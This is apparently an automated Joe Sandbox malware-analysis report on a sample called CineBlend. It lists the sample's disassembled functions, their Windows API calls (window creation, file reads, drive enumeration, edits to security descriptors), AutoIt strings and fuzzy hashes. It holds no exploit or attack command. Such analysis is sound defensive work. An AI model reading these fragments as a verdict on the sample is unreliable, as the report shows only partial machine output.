                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: mouse_event
                                  • String ID:
                                  • API String ID: 2434400541-0
                                  • Opcode ID: 9cdd939d803d1bdbb8661e01654f4d55121511de3e5034d1c5f3ec94be0691ed
                                  • Instruction ID: b73693846269f8a4b8fe40b9f5ed4b18c801017886a1e221767ca4857bdfe581
                                  • Opcode Fuzzy Hash: 9cdd939d803d1bdbb8661e01654f4d55121511de3e5034d1c5f3ec94be0691ed
                                  • Instruction Fuzzy Hash: 21D05EB619420038FD1D8B3C8E6FF7626A9F701741F8C06F9B2A2C57D8E5D1E980E021
                                  Function 00B50D45 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetUnhandledExceptionFilter.KERNEL32(Function_00020D51,00B5075E), ref: 00B50D4A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ExceptionFilterUnhandled
                                  • String ID:
                                  • API String ID: 3192549508-0
                                  • Opcode ID: d128e5321523afb6ed0c6f69ed9480ed12362378c06268a6d072e38be4afe28e
                                  • Instruction ID: 20043a55cef7ab888db096af428d6e91293d5f0951a85f562e3ede88304f916f
                                  • Opcode Fuzzy Hash: d128e5321523afb6ed0c6f69ed9480ed12362378c06268a6d072e38be4afe28e
                                  • Instruction Fuzzy Hash:
                                  Function 00BB353B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DeleteObject.GDI32(00000000), ref: 00BB358D
                                  • DeleteObject.GDI32(00000000), ref: 00BB35A0
                                  • DestroyWindow.USER32 ref: 00BB35AF
                                  • GetDesktopWindow.USER32 ref: 00BB35CA
                                  • GetWindowRect.USER32(00000000), ref: 00BB35D1
                                  • SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00BB3700
                                  • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00BB370E
                                  • CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB3755
                                  • GetClientRect.USER32(00000000,?), ref: 00BB3761
                                  • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00BB379D
                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB37BF
                                  • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB37D2
                                  • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB37DD
                                  • GlobalLock.KERNEL32(00000000), ref: 00BB37E6
                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB37F5
                                  • GlobalUnlock.KERNEL32(00000000), ref: 00BB37FE
                                  • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB3805
                                  • GlobalFree.KERNEL32(00000000), ref: 00BB3810
                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB3822
                                  • OleLoadPicture.OLEAUT32(?,00000000,00000000,00BD0C04,00000000), ref: 00BB3838
                                  • GlobalFree.KERNEL32(00000000), ref: 00BB3848
                                  • CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00BB386E
                                  • SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00BB388D
                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB38AF
                                  • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00BB3A9C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                  • String ID: $AutoIt v3$DISPLAY$static
                                  • API String ID: 2211948467-2373415609
                                  • Opcode ID: e45a289eae71d50485c8a045a4d1d46f963c64861920417afee1c2280c853e38
                                  • Instruction ID: c0f731ad59cf5aa6e2d70d9edcabcdc959895971fe272e183a1819b7b3f70135
                                  • Opcode Fuzzy Hash: e45a289eae71d50485c8a045a4d1d46f963c64861920417afee1c2280c853e38
                                  • Instruction Fuzzy Hash: C5025C75900215AFDB14DFA4CD89EAE7BF9FB48710F1481A8F915AB2A0DB74ED01CB60
                                  Function 00BC7B0D Relevance: 49.8, APIs: 33, Instructions: 273COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetTextColor.GDI32(?,00000000), ref: 00BC7B67
                                  • GetSysColorBrush.USER32(0000000F), ref: 00BC7B98
                                  • GetSysColor.USER32(0000000F), ref: 00BC7BA4
                                  • SetBkColor.GDI32(?,000000FF), ref: 00BC7BBE
                                  • SelectObject.GDI32(?,?), ref: 00BC7BCD
                                  • InflateRect.USER32(?,000000FF,000000FF), ref: 00BC7BF8
                                  • GetSysColor.USER32(00000010), ref: 00BC7C00
                                  • CreateSolidBrush.GDI32(00000000), ref: 00BC7C07
                                  • FrameRect.USER32(?,?,00000000), ref: 00BC7C16
                                  • DeleteObject.GDI32(00000000), ref: 00BC7C1D
                                  • InflateRect.USER32(?,000000FE,000000FE), ref: 00BC7C68
                                  • FillRect.USER32(?,?,?), ref: 00BC7C9A
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC7CBC
                                    • Part of subcall function 00BC7E22: GetSysColor.USER32(00000012), ref: 00BC7E5B
                                    • Part of subcall function 00BC7E22: SetTextColor.GDI32(?,00BC7B2D), ref: 00BC7E5F
                                    • Part of subcall function 00BC7E22: GetSysColorBrush.USER32(0000000F), ref: 00BC7E75
                                    • Part of subcall function 00BC7E22: GetSysColor.USER32(0000000F), ref: 00BC7E80
                                    • Part of subcall function 00BC7E22: GetSysColor.USER32(00000011), ref: 00BC7E9D
                                    • Part of subcall function 00BC7E22: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00BC7EAB
                                    • Part of subcall function 00BC7E22: SelectObject.GDI32(?,00000000), ref: 00BC7EBC
                                    • Part of subcall function 00BC7E22: SetBkColor.GDI32(?,?), ref: 00BC7EC5
                                    • Part of subcall function 00BC7E22: SelectObject.GDI32(?,?), ref: 00BC7ED2
                                    • Part of subcall function 00BC7E22: InflateRect.USER32(?,000000FF,000000FF), ref: 00BC7EF1
                                    • Part of subcall function 00BC7E22: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00BC7F08
                                    • Part of subcall function 00BC7E22: GetWindowLongW.USER32(?,000000F0), ref: 00BC7F15
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                  • String ID:
                                  • API String ID: 4124339563-0
                                  • Opcode ID: 0206392324111147d5aee04a38c805ecca0590a5afdc7e300cca8c43f49b3f24
                                  • Instruction ID: 7d9e68953343799df726d0b15acb5e8eb6b47f0fa113b1b115bcd148dd313f98
                                  • Opcode Fuzzy Hash: 0206392324111147d5aee04a38c805ecca0590a5afdc7e300cca8c43f49b3f24
                                  • Instruction Fuzzy Hash: B7A16B76008301AFC7119F64DC48E6BBBE9FB4C321F140A29F962A71A0DB71D9448F92
                                  Function 00B31625 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DestroyWindow.USER32(?,?), ref: 00B316B4
                                  • SendMessageW.USER32(?,00001308,?,00000000), ref: 00B72B07
                                  • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00B72B40
                                  • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00B72F85
                                    • Part of subcall function 00B31802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B31488,?,00000000,?,?,?,?,00B3145A,00000000,?), ref: 00B31865
                                  • SendMessageW.USER32(?,00001053), ref: 00B72FC1
                                  • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00B72FD8
                                  • ImageList_Destroy.COMCTL32(00000000,?), ref: 00B72FEE
                                  • ImageList_Destroy.COMCTL32(00000000,?), ref: 00B72FF9
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
                                  • String ID: 0
                                  • API String ID: 2760611726-4108050209
                                  • Opcode ID: a138350c2b8fc26e97de51ea343e70fc5f933b7c6a8ee46f103ebf320514d7ae
                                  • Instruction ID: b06896771c138b8936897d651d8e051232b33272a8f137b63aa5eade9cbf654a
                                  • Opcode Fuzzy Hash: a138350c2b8fc26e97de51ea343e70fc5f933b7c6a8ee46f103ebf320514d7ae
                                  • Instruction Fuzzy Hash: 79128134604241DFD725CF58C899B69B7E5FB48300F28C5A9F4A99B261CB31EC82DB91
                                  Function 00BB316E Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • DestroyWindow.USER32(00000000), ref: 00BB319B
                                  • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00BB32C7
                                  • SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00BB3306
                                  • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00BB3316
                                  • CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00BB335D
                                  • GetClientRect.USER32(00000000,?), ref: 00BB3369
                                  • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00BB33B2
                                  • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00BB33C1
                                  • GetStockObject.GDI32(00000011), ref: 00BB33D1
                                  • SelectObject.GDI32(00000000,00000000), ref: 00BB33D5
                                  • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00BB33E5
                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00BB33EE
                                  • DeleteDC.GDI32(00000000), ref: 00BB33F7
                                  • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00BB3423
                                  • SendMessageW.USER32(00000030,00000000,00000001), ref: 00BB343A
                                  • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00BB347A
                                  • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00BB348E
                                  • SendMessageW.USER32(00000404,00000001,00000000), ref: 00BB349F
                                  • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00BB34D4
                                  • GetStockObject.GDI32(00000011), ref: 00BB34DF
                                  • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00BB34EA
                                  • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00BB34F4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                  • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                  • API String ID: 2910397461-517079104
                                  • Opcode ID: 3b307e3088e32d7903bea386226dd29bd51557e235513add32c38f6fdf3604dc
                                  • Instruction ID: 778f250422db802514e204b4432bbf59c27ecd0e85fc483fe5942e8a30a5b9e1
                                  • Opcode Fuzzy Hash: 3b307e3088e32d7903bea386226dd29bd51557e235513add32c38f6fdf3604dc
                                  • Instruction Fuzzy Hash: D1B16075A00215AFEB14DFA8CC49FAEBBF9EB08710F114155FA15E72A0DBB4AD00CB54
                                  Function 00BA5524 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00000001), ref: 00BA5532
                                  • GetDriveTypeW.KERNEL32(?,00BCDC30,?,\\.\,00BCDCD0), ref: 00BA560F
                                  • SetErrorMode.KERNEL32(00000000,00BCDC30,?,\\.\,00BCDCD0), ref: 00BA577B
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorMode$DriveType
                                  • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                  • API String ID: 2907320926-4222207086
                                  • Opcode ID: b27c6411965ef4325bdad3a5794b6e1dd6ad322789635beea98703448375ac4a
                                  • Instruction ID: 8525b6d87efae0716310380697753ccc720737d57ee2bb8e06435002d44ad46d
                                  • Opcode Fuzzy Hash: b27c6411965ef4325bdad3a5794b6e1dd6ad322789635beea98703448375ac4a
                                  • Instruction Fuzzy Hash: D361D174A8CA09DBC734DF28C991DB873F1EF16360B6480E5E506AB2A1DB31DE05DB51
                                  Function 00BC1A8F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCursorPos.USER32(?), ref: 00BC1BC4
                                  • GetDesktopWindow.USER32 ref: 00BC1BD9
                                  • GetWindowRect.USER32(00000000), ref: 00BC1BE0
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC1C35
                                  • DestroyWindow.USER32(?), ref: 00BC1C55
                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00BC1C89
                                  • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BC1CA7
                                  • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00BC1CB9
                                  • SendMessageW.USER32(00000000,00000421,?,?), ref: 00BC1CCE
                                  • SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00BC1CE1
                                  • IsWindowVisible.USER32(00000000), ref: 00BC1D3D
                                  • SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00BC1D58
                                  • SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00BC1D6C
                                  • GetWindowRect.USER32(00000000,?), ref: 00BC1D84
                                  • MonitorFromPoint.USER32(?,?,00000002), ref: 00BC1DAA
                                  • GetMonitorInfoW.USER32(00000000,?), ref: 00BC1DC4
                                  • CopyRect.USER32(?,?), ref: 00BC1DDB
                                  • SendMessageW.USER32(00000000,00000412,00000000), ref: 00BC1E46
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                  • String ID: ($0$tooltips_class32
                                  • API String ID: 698492251-4156429822
                                  • Opcode ID: 3ca2661c59c33d2f178ef2d4c718c19bc057b3f556f2e6d6f099ab24b2183c21
                                  • Instruction ID: 48106233566cc1cc612eb82cdf5d14b6d54653f49b5da47934c9f49d0f8e92a6
                                  • Opcode Fuzzy Hash: 3ca2661c59c33d2f178ef2d4c718c19bc057b3f556f2e6d6f099ab24b2183c21
                                  • Instruction Fuzzy Hash: C2B15C71604301AFD714DF68C985F6ABBE5EF89310F00895DF599AB2A2CB71E844CB92
                                  Function 00BC0CDD Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CharUpperBuffW.USER32(?,?), ref: 00BC0D81
                                  • _wcslen.LIBCMT ref: 00BC0DBB
                                  • _wcslen.LIBCMT ref: 00BC0E25
                                  • _wcslen.LIBCMT ref: 00BC0E8D
                                  • _wcslen.LIBCMT ref: 00BC0F11
                                  • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00BC0F61
                                  • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00BC0FA0
                                    • Part of subcall function 00B4FD52: _wcslen.LIBCMT ref: 00B4FD5D
                                    • Part of subcall function 00B92B8C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B92BA5
                                    • Part of subcall function 00B92B8C: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00B92BD7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$MessageSend$BuffCharUpper
                                  • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                  • API String ID: 1103490817-719923060
                                  • Opcode ID: 5f302f655d9bcf866900c91abd5776c52f9c37d80cc3d07a149e856389c3a40b
                                  • Instruction ID: ec7b2cdc82a7864c1d94a32a21598895a8fd8d88636d39be774eeb0bd931efca
                                  • Opcode Fuzzy Hash: 5f302f655d9bcf866900c91abd5776c52f9c37d80cc3d07a149e856389c3a40b
                                  • Instruction Fuzzy Hash: CCE18D326142418FCB14EF28C591E7AB7E5FF85314B1449ACF896AB2A2DB30ED45CB91
                                  Function 00B32521 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B325F8
                                  • GetSystemMetrics.USER32(00000007), ref: 00B32600
                                  • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00B3262B
                                  • GetSystemMetrics.USER32(00000008), ref: 00B32633
                                  • GetSystemMetrics.USER32(00000004), ref: 00B32658
                                  • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00B32675
                                  • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00B32685
                                  • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00B326B8
                                  • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00B326CC
                                  • GetClientRect.USER32(00000000,000000FF), ref: 00B326EA
                                  • GetStockObject.GDI32(00000011), ref: 00B32706
                                  • SendMessageW.USER32(00000000,00000030,00000000), ref: 00B32711
                                    • Part of subcall function 00B319CD: GetCursorPos.USER32(?), ref: 00B319E1
                                    • Part of subcall function 00B319CD: ScreenToClient.USER32(00000000,?), ref: 00B319FE
                                    • Part of subcall function 00B319CD: GetAsyncKeyState.USER32(00000001), ref: 00B31A23
                                    • Part of subcall function 00B319CD: GetAsyncKeyState.USER32(00000002), ref: 00B31A3D
                                  • SetTimer.USER32(00000000,00000000,00000028,00B3199C), ref: 00B32738
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                  • String ID: AutoIt v3 GUI
                                  • API String ID: 1458621304-248962490
                                  • Opcode ID: 171d2f78412547a3b5719d44bd0559a0e2b4f70730f89ee457064d50a1120743
                                  • Instruction ID: e3c9197867e7d27f686fd8ade58f4bf972fca2321dab347e297758307fd31505
                                  • Opcode Fuzzy Hash: 171d2f78412547a3b5719d44bd0559a0e2b4f70730f89ee457064d50a1120743
                                  • Instruction Fuzzy Hash: A1B16D356002099FDB14DFA8CC89FAE7BF4FB48714F118269FA1AA7290DB74E940DB51
                                  Function 00B916D7 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B91A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B91A60
                                    • Part of subcall function 00B91A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A6C
                                    • Part of subcall function 00B91A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A7B
                                    • Part of subcall function 00B91A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A82
                                    • Part of subcall function 00B91A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B91A99
                                  • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B91741
                                  • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B91775
                                  • GetLengthSid.ADVAPI32(?), ref: 00B9178C
                                  • GetAce.ADVAPI32(?,00000000,?), ref: 00B917C6
                                  • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B917E2
                                  • GetLengthSid.ADVAPI32(?), ref: 00B917F9
                                  • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00B91801
                                  • HeapAlloc.KERNEL32(00000000), ref: 00B91808
                                  • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B91829
                                  • CopySid.ADVAPI32(00000000), ref: 00B91830
                                  • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B9185F
                                  • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B91881
                                  • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B91893
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B918BA
                                  • HeapFree.KERNEL32(00000000), ref: 00B918C1
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B918CA
                                  • HeapFree.KERNEL32(00000000), ref: 00B918D1
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B918DA
                                  • HeapFree.KERNEL32(00000000), ref: 00B918E1
                                  • GetProcessHeap.KERNEL32(00000000,?), ref: 00B918ED
                                  • HeapFree.KERNEL32(00000000), ref: 00B918F4
                                    • Part of subcall function 00B91ADF: GetProcessHeap.KERNEL32(00000008,00B914FD,?,00000000,?,00B914FD,?), ref: 00B91AED
